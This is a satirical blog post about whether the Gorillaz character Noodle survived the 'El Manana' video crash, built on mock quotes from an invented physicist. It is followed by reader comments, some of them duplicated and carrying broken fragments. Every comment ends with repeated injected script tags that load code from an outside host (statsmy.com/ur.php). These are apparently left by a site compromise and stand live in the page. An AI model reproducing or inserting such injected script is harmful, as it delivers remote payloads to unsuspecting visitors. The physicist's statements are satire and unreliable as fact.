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Eminent Physicist: 'Gorillaz' Noodle Could Not Have Survived Fiery Lighthouse Crash
by Mark on 8/2/2009 (15)

Feels dumb, incorporated.


Eminent physicist Dr. Hans Krebbs, after reviewing the Gorillaz youtube.com video El Manana, declared that Noodle died in the subsequent shooting down of the light house island and "could not have possibly bailed out or survived the horrific crash". Krebbs details:

"After reviewing the film several times, it became very clear to me that Noodle could not have bailed out with a parachute and survived the shooting down of the lighthouse, as has been claimed. The mass of the overall island, the speed of reentry, and the point in the video that clearly shows the hapless Noodle still mired in the lighthouse basement just before crashing does not allow enough time for the deployment of a parachute, as has been claimed."

Krebbs took a slide rule from his shirt pocket and pondered professionally

"Furthermore, the debris field, including whipping anchor cables and tumbling guitar cases would have dashed Noodle to pieces even if she managed to eject, and she is clearly not even wearing a parachute moments before contact with the ground. I cannot imagine any given scenario where she could have managed to put on a parachute while she was falling and survived. Noodle is dead, in my opinion, in spite of her great defiance and courage, and I stand firmly behind it, based on my lengthy experience as a scientist."

Many Gorillaz enthusiasts share the same observations as Krebbs, and have been quick to point them out, but any given normal, well adjusted observer will be equally quick to illustrate that Noodle, and indeed the entire Gorillaz concept as a whole, is merely a trendy musical cartoon, absurdly steeped in thinly-veiled, popular anti-war sentiment, urgently and blatantly multi-cultural and rife with feminist-liberal agenda via multimedia allegories and metaphors, and probably never was completely real anyway.


Wellplayed.net


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Comments

1. by Motz on 8/2/2009 5:00:58 PM
Kris, send my two latest to Fark, please. Thanls! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by anonymus on 8/2/2009 7:25:54 PM
It's a CARTOON,mate. Noodle survived and will be on the thirdh album.n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by noodle on 8/7/2009 5:27:47 AM
ok heres the thing its there cartoon and the can kill or not any one they want just enjoy the song and shut up!isplay:none"></if </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Hal on 8/7/2009 7:07:05 AM
On the next viewing he may even notice that flying islands are impossible too. Just enjoy the music like everyone else!isplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Budisha on 8/9/2009 12:07:21 PM
it was a fake dead for the video....noodle safely parachuted of the islandn </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by noodle is safe on 8/14/2009 9:52:04 PM
uhh last time i checked animations don't have to obey the laws of physics, and if you were a real scientist you would realize that too! why dont u solve something with the logical part of your brain, not the smart-ass partisplay:none </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by BigBadBarl on 11/16/2009 8:12:53 PM
Yo. Thinly veiled or not, I can dig the music. In the end, does the message matter in this day and age?<if </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by BigBadBarl on 11/16/2009 8:22:59 PM
Also, not to spoil the tongue-in-cheekiness, but wasn't Hans Krebbs a Nobel laureate for biochemistry or something?isplay:none"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by youradick on 12/6/2009 9:44:03 AM
fuck off ok ur such a dick it's only a cartoon and plus a nuke was dropped so she either dies or bails even if a parachute was deployed then whe would of been nuked. Its a song so just enjoy it!t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by youradick on 12/6/2009 9:44:05 AM
fuck off ok ur such a dick it's only a cartoon and plus a nuke was dropped so she either dies or bails even if a parachute was deployed then whe would of been nuked. Its a song so just enjoy it!t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by Olivia on 2/16/2010 7:43:53 PM
It's a windmill, actually... not a lighthouse.

And why do people have to overanalyze everything? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by Olivia on 2/16/2010 7:44:18 PM
It's a windmill, actually... not a lighthouse.

And why do people have to overanalyze everything? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by Olivia on 2/16/2010 7:44:49 PM
It's a windmill, actually... not a lighthouse.

And why do people have to overanalyze everything? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by Michael Dennis Stagg on 10/12/2010 12:46:33 PM
That would depend, as a scientist in research, as to whether Krebbs and his slide rule based computer funtions, you have to reverse calculation procedure sequences to write macros to make them function, unlike brains and slide rules where you can calculate right through on some items, apart from the iterative procedures which match two sets of independently achieved data ... so in true DNA Gorillaz forms any combination of Asian mythology might be feasible if Krebbs would step outside the BBC and Cambridge math', into real hills and islands. There you might find bottle nose dolphins and forestry still functioning in spite of politics and people building plastic islands, so obviously Gorillaz are not as past as the News of the World imagines, but then they live in 1843 with Queen Vicky's pier at Clevedon which fell in. That is a bear, Canadian ?? MDS BScWales UCW 1969 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by Michael Dennis Stagg on 10/12/2010 1:08:47 PM
Does Dr Krebbs use a curved slide rule, flexi alike those curve draw units we could once buy until oil became too expensive for plastic and lead poisoning to be acceptable? Still a bear, a brown one would make a change. We had to make several paper shapes in school math' and engineering drawing that is why it became so useful as visualization for geology, petrology at University, didn't see Krebbs there but we did have to "teach" other students how to use log tables. Little do bears know how fortunate they are not to have to run to school in the rain from the train. Bath ! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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